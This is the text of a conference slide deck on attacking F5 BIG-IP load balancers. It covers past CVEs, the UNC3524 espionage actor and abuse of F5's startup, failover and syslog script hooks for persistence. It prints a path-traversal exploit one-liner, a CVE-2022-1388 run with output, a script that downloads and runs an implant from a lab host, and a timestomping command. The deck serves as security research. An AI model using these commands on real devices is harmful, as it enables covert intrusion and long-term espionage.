I AM BECOME LOADBALANCER OWNER OF YOUR NETWORK

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PRESENTATION AGENDA

- **BACKGROUND & MOTIVATION**
- HISTORY OF F5 EXPLOITATION
- **UNC3524**
- BY DESIGN != GOOD DESIGN
- ATTACK, IMPLANT, HIDE
- **PIVOTING & LOW-LEVEL PERSISTENCE** DEMO!



BACKGROUND



- NETWORK HACKER
- SECURITY RESEARCHER
- MICROSOFT (MS17-010, YOU'RE WELCOME)
- @N0x08

CTI LEAGUE FOUNDER

F5 NETWORKS - 10YRS

NOT A RED TEAMER



MOTIVATION

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Load Balancer vulns started CTI League



F5 DFIR for Microsoft & CTIL



First red-centric conference presentation

BruCON 0x0E - September 29th, 2022



Mandiant report inspired me



Nobody seems to understand this space



~

A BRIEF HISTORY OF F5 EXPLOITATION

- CVE-2012-1493 ROOT SSH KEY EXPOSED
- CVE-2020-5902 ...; / PATH TRAVERSAL → ADMIN SHELL
- CVE-2022-1388 HEADER TAMPERING \rightarrow ADMIN SHELL
- ALL ATTACKING MANAGEMENT INTERFACE.
- COMMONLY EXPOSED TO THE INTERNET

EXPLOITS FIT IN A TWEET




Unsent Tweets

(+) Tweet




curl -sk 'https://10.13.37.159/tmui/login.jsp/..;/tmui/locallb/wor kspace/fileRead.jsp?fileName=/etc/passwd'



Everyone 🗸

 \times

Unsent Tweets



```
[nate@ubuntuserver:~$ python3 CVE-2022-1388.py -t 192.168.0.59:8443 -c "tmsh show sys hardware"
Sys::Hardware
Chassis Information
 Maximum MAC Count 1
 Registration Key -
lardware Version Information
 Name
             cpus
 Туре
             base-board
 Model
             Common KVM processor
 Parameters --
                           512 KB
             cache size
                           4 (physical:4)
             cores
                            3593.248
             cpu MHz
             cpu sockets
             cpu stepping
Platform
 Name BIG-IP Virtual Edition
 BIOS Revision
                 6a:6a:52:78:5e:9c
 Base MAC
                Standard PC (1440FX + PIIX, 1996)
 Hypervisor
 Cloud
System Information
                             Z100
 Туре
                             c44217ff-dbaa-2f48-f292a403f774
 Chassis Serial
  Level 200/400 Part
  Switchboard Serial
  Switchboard Part Revision
 Host Board Serial
 Host Board Part Revision
nate@ubuntuserver:~$
```



UNC3524: EYE SPY ON YOUR EMAIL (MANDIANT)

Mandiant as QUIETEXIT, which is based on the open-source Dropbear SSH client-server software, For their long-haul remote access, UNC3524 opted to deploy QUIETEXIT on opaque network appliances within the victim environment; think backdoors on SAN arrays, load balancers, and wireless access point controllers. These kinds of devices don't support antivirus or endpoint detection and response tools (EDRs), subsequently leaving the underlying operating systems to vendors to manage. These appliances are often running older versions of BSD or CentOS and would require considerable planning to compile functional malware for them, By targeting trusted systems within victim environments that do not support any type of security

• "SANs, load balancers running BSD or CentOS" • F5 management plane is CentOS • Citrix runs BSD ~_(ツ)_/~

establishes a connection, the threat actor can use any of the options available to an SSH client, including proxying traffic via SOCKS, QUIETEXIT has no persistence mechanism; however, we have observed UNC3524 install a run command (rc) as well as hijack legitimate applicationspecific startup scripts to enable the backdoor to execute on system startup.

> On startup, OUIETEXIT attempts to change its name to cron, but the malware author did not implement this correctly, so it fails. During our incident response investigations, we recovered QUIETEXIT samples that were renamed to blend in with other legitimate files on the file system. In one case with an infected node of a NAS array, UNC3524 named the binary to blend in with a suite of scripts used to mount various filesystems to the NAS.

• Corporate espionage threat actor • Likely Russian; techniques overlap APT28 & APT29

UNC3524 targets opaque network appliances because they are often the most unsecure and unmonitored systems in a victim environment. Organizations should take steps to inventory their devices that are on the network and do not support monitoring tools. Each device likely has vendor-specific hardening actions to take to ensure that the proper logging is enabled, and logs are forwarded to a central repository. Organizations can also take steps to use network access controls to limit or completely restrict egress traffic from these devices.



MUCH LEET. VERY HACK. HOLD MY BEER.



No persistence Their malware wouldn't survive an upgrade



Weird tooling flex

Why not use something more robust

**

Unreliable

They deployed a web shell purely to restart their implants

Strangely inept for an APT There are far better ways to accomplish the same result



RECON

SEE ALSO:




EXPLOIT POOR DESIGN CHOICES

READING VENDOR DOCUMENTATION TO

TL;DR - LOAD BALANCERS

- NETWORKING HARDWARE \$\$\$\$\$
- DEPLOYED IN FAILOVER PAIRS (THINK HSRP)
- L4-7 LB, WAF, VPN, DNS LOAD BALANCING
- SSL/TLS OFFLOADING
 - GENERALLY UNFETTERED NETWORK ACCESS
 - MISSION CRITICAL == FREQUENTLY OUTDATED CODE
 - PROPRIETARY; EDR & OTHER TOOLS DON'T RUN HERE







DEPLOYMENT METHODOLOGY & TRAFFIC FLOW

- ALL DEVICES HAVE OOB MANAGEMENT (SSH & TLS)
- MINIMUM 3 IPS PER VLAN (A/B + FLOATING)
- POOLS OF SERVERS IN RESOURCE VLANS
- VIRTUAL SERVERS ON TRAFFIC-SERVING VLANS
- PROFILES CONTROL VS TRAFFIC HANDLING • (TCP/HTTP/TLS, ETC.)
- TCL/TK LANGUAGE FOR TRAFFIC SHAPING

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			 Name 10.1.1.2 		Application	IP Address 10.1.1.2	Netmask 255.255.255.0	VLAN / Tunnel internal	Traffic Group traffic-group-local-only	Partition / Path
			10.1.1.2			10.1.1.3	255.255.255.0		traffic-group-10cal-only	Common
			10.2.1.2			10.2.1.2	255.255.255.0		traffic-group-local-only	
			10.2.1.3			10.2.1.3	255.255.255.0		traffic-group-1	Common
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Changes

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Acceleration

🗄 Device Manage

Shared Object

Interfaces Routes Self IPs Packet Filter

Quick Configurati

Trunks Tunnels Route Domains

VLANs

Security

Network

NETWORKING & DEVICE DISCOVERY

- F5 DEVICES CAN USE COOKIES FOR PERSISTENCE; THESE COOKIES DISCLOSE BACKEND SERVER IP ADDRESSES & SERVICE PORTS
 - <u>HTTPS://SRA.IO/BLOG/FINDING-AND-DECODING-BIG-IP-AND-NETSCALER-COOKIES-WITH-BURP-SUITE/</u>
- SSL/TLS OFFLOADING ALLOWS SERVERS TO RUN ONLY HTTP
 - CERTS & KEYS ARE STORED IN CLEAR TEXT ON THE DEVICE
- 'TMSH LIST AUTH' AUTH CONFIG (LDAP/AD, RADIUS, TACACS)
 - 'AUTH SOURCE { }' MEANS LOCAL AUTHENTICATION
 - 'TMSH SHOW AUTH' DISPLAY USERS, FAILED LOGINS, LOCKOUT STATUS
- 'TMSH LIST/SHOW CM DEVICE' = PEER DEVICE(S) IP INFORMATION
- <u>HTTPS://GITHUB.COM/N0X08/SHODANTOOLS</u>

/ 443 / TCP 🔼

Microsoft HTTPAPI httpd 2.0

HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 May 2022 02:01:28 GMT Connection: close Content-Length: 315 Set-Cookie: BIGipServer-Prod-PROD_BOS_Agensee_http_pool=2657419530.47873.0000; path=/; Httponly; Secure Set-Cookie: BIGipServer-Prod-Prod_BOS_Agensee_https_pool=397672714.47873.0000; path=/; Httponly; Secure

RP-SUITE/


🔏 Shodan	Explore	Pricing 🗗	bigipserver
TOTAL RESULTS			
19,507			
TOP COUNTRIES			
	<u> </u>	Caller T	
United States			9,725
United Kingdom			829
Canada			739
France			729
Germany	_		715

148952511



INTERNAL COMPONENTS & MANAGEMENT

- TMM: AKA TRAFFIC PLANE. ALL PRODUCTION TRAFFIC HAPPENS HERE
- 'TMSH SHOW SYS HARDWARE' PLATFORM DETAILS
- MANAGEMENT: CENTOS ON X86_64 (K3645 FOR VERSIONS)
 - PYTHON2, NO PIP, NO BUILD TOOLS
 - LDAP TOOLS, SMB, NETCAT, CRON, TCPDUMP
- CONFIGURATION FILES STORED IN /CONFIG
 - MOST PEOPLE USE THE GUI
- TRAFFIC CONFIG IS SYNC'D CHANGES WILL BE NOTICED
- DEVICE CONFIG IS NOT SYNC'D EVADES DETECTION





QUESTIONABLE DESIGN DECISIONS

- GUI+SSH DEFAULT ENABLED ON ALL DEVICE IPS
- MANAGEMENT & TRAFFIC PLANES SHARE ROUTES
- MULTIPLE BY—DESIGN METHODS TO RUN SCRIPTS
 - ON STARTUP & CONFIG INSTALL
 - ON FAILOVER STATE CHANGE
 - SYSLOG MESSAGES (SERIOUSLY)
- CONFIGS ARE STORED IN A TAR FILE
 - HUGE DIRECTORY STRUCTURE LOTS OF PLACES TO HIDE

- ZERO INTEGRITY CHECKS ON STORED FILES

K11948: Configuring the BIG-IP system to run commands or scripts upon system startup https://support.f5.com/csp/article/K11948 ... IP or BIG-IQ system to run the script Create a customized startup script Perform the follo create the startup script /config/startup_script_sol11948.sh file as appropriate for ...



Important: When the destination address does not match the management interface subnet, the system uses the default gateway of TMM unless there is a more specific route configured on the management interface. When there is no default route specified in TMM, the system uses the default route specified for the management interface.

K6008: Configuring the BIG-IP system to run commands or scripts upon failover https://support.f5.com/csp/article/K6008

Configuring the BIG-IP system to run commands or scripts upon failover ... The follow tasks, such as commands or scripts, to be executed ... Log in to the command line.

K14397: Running a command or custom script based on a syslog message https://support.f5.com/csp/article/K14397

Running a command or custom script based on a syslog message ... You should cons under the following condition: ... user_alert.conf file, type the following command:

K4422: Viewing and modifying the files that are configured for inclusion in a UCS archive https://support.f5.com/csp/article/K4422

Viewing and modifying the files that are configured for inclusion in a UCS archive ... Non-Di-/usr/libdata/configsync/cs.dat data file contains three types of keys to control ...



I KNOW KUNG FU



HACK ALL THE THINGS GET ALL THE MONEY

- I USED CVE-2022-1388, A SCRIPT* AND SLIVER C2
 - *FROM F5'S KNOWLEDGE BASE
- ONE SCRIPT TO RULE THEM ALL
 - CHECK FOR IMPLANT; IF NOT FOUND DOWNLOAD
 - HACKITY HACK THE FILESYSTEM
- WRITES TO FAILOVER SYSTEM FOR PERSISTENCE
- PREVENTS NOISY C2
- PERSISTENCE FILES GET BACKED UP

```
MCPD_RUNNING=`ps aux | grep "/usr/bin/mcpd" | grep -v grep | wc -l`
if [ "$MCPD_RUNNING" -eq 1 ]; then
sleep $[ ( $RANDOM % 10 ) + 1 ]s
pidof restjavad >/dev/null
if [[ $? -ne 0 ]] ; then
   if [ -e /usr/bin/restjavad ]
        /usr/bin/restjavad &
       mount -o remount,rw /usr
       curl http://10.13.37.180/implant > /usr/bin/restjavad
       chmod +x /usr/bin/restjavad
       mount -o remount, ro /usr
       /usr/bin/restjavad &
```



touch -a -m -t `ls -L --time-style=+%Y%m%d%H%M.%S /usr/bin/systemctl |awk '{print \$6}'` /usr/bin/restjavad



ARCHITECTURE ALLOWS PIVOTING

BIG-IP DOESN'T ALLOW SERVER EGRESS BY DEFAULT

- REQUIRES SNAT ON EGRESS INTERFACE

SLIVER PIVOTS ALLOW CHAINS OF IMPLANT CONNECTIONS
F5 LETS YOU BIND C2 LISTENER TO FAILOVER IP
INTERFACE ACLS CAN BE MODIFIED W/O ALERTING ADMINS
ANY DEFAULT GATEWAY WILL ROUTE C2





a61dfc817f0a52bf35f4c type 'help' for options



LOW-LEVEL PERSISTENCE

- BACKUPS CONTAIN MOST OF /CONFIG DIRECTORY
- DOCUMENTATION TELLS YOU WHAT FILES ARE/NOT INCLUDED
- ANYTHING IN AN ARCHIVED DIRECTORY WILL BE SAVED
- ABUSED SCRIPTS ARE INCLUDED IN CONFIG BACKUP
 - /CONFIG/STARTUP
 - /CONFIG/FAILOVER/*
 - /CONFIG/USER_ALERT.CONF
- UPGRADE/PATCHING COPIES CONFIG ARCHIVE TO NEW INSTALL
- /USR/BIN IS WIPED ON UPGRADE; C2 SCRIPT FIXES THIS




DEMOSTIME

OK TECHNICALLY IT'S A VIDEO

HACKING IS COMPLICATED

DEMO GODS EXIST





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encoders - 11 nops]											
<pre>ting RHOSTS for modules? Try g RHOSTS x.x.x.x</pre>												
ler(s)												

IT'S DANGEROUS TO HACK ALONE: LAB 101

• F5 GIVES AWAY VIRTUAL EDITION VM'S FOR ALL MAJOR HYPERVISORS

- INCLUDING VULNERABLE VERSIONS!
- USE A THROWAWAY EMAIL
 - 30-DAY DEMO LICENSES
 - **ISO** IMAGES
- GOOD FOR VULN RESEARCH
 - TESTING COMPILED TOOLS

	Environment 7.1-7	Search	
Server View \lor	Virtual Machine 201 (I	F5-VM-1) on node 'proxmox'	
✓ ■ Datacenter ✓ ■ proxmox	Summary	Add ~ Remove Edit	Resize disk Move disk Revert
100 (UbuntuDesktop)	>_ Console	m Memory	8.00 GiB
101 (UbuntuServer)	Hardware	Processors	4 (1 sockets, 4 cores)
102 (Pulse)	Cloud-Init	BIOS	Default (SeaBIOS)
103 (VyOS) 104 (Server2012)	Options	🖵 Display	Default
105 (EMBA)	Task History	✿ Machine	Default (i440fx)
201 (F5-VM-1)		SCSI Controller	VirtIO SCSI
202 (F5-VM-2)	 Monitor Backup 	OD/DVD Drive (ide2)	none,media=cdrom
📮 205 (F5v17)		⊟ Hard Disk (virtio1)	local-lvm:vm-201-disk-1,size=76G
🛢 🖬 local (proxmox)	ta Replication	⇒ Network Device (net0)	e1000=6A:6A:52:78:5E:9C,bridge=vmbr0
🗧 🗌 local-lvm (proxmox)	Snapshots		e1000=32:9C:1A:90:C0:DE,bridge=vmbr1,tag=4093
	♥ Firewall		e1000=BE:C7:CF:D7:FB:BC,bridge=vmbr2,tag=4094
	Permissions ■		

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QUESTIONS?

THANK YOU BRUCON!



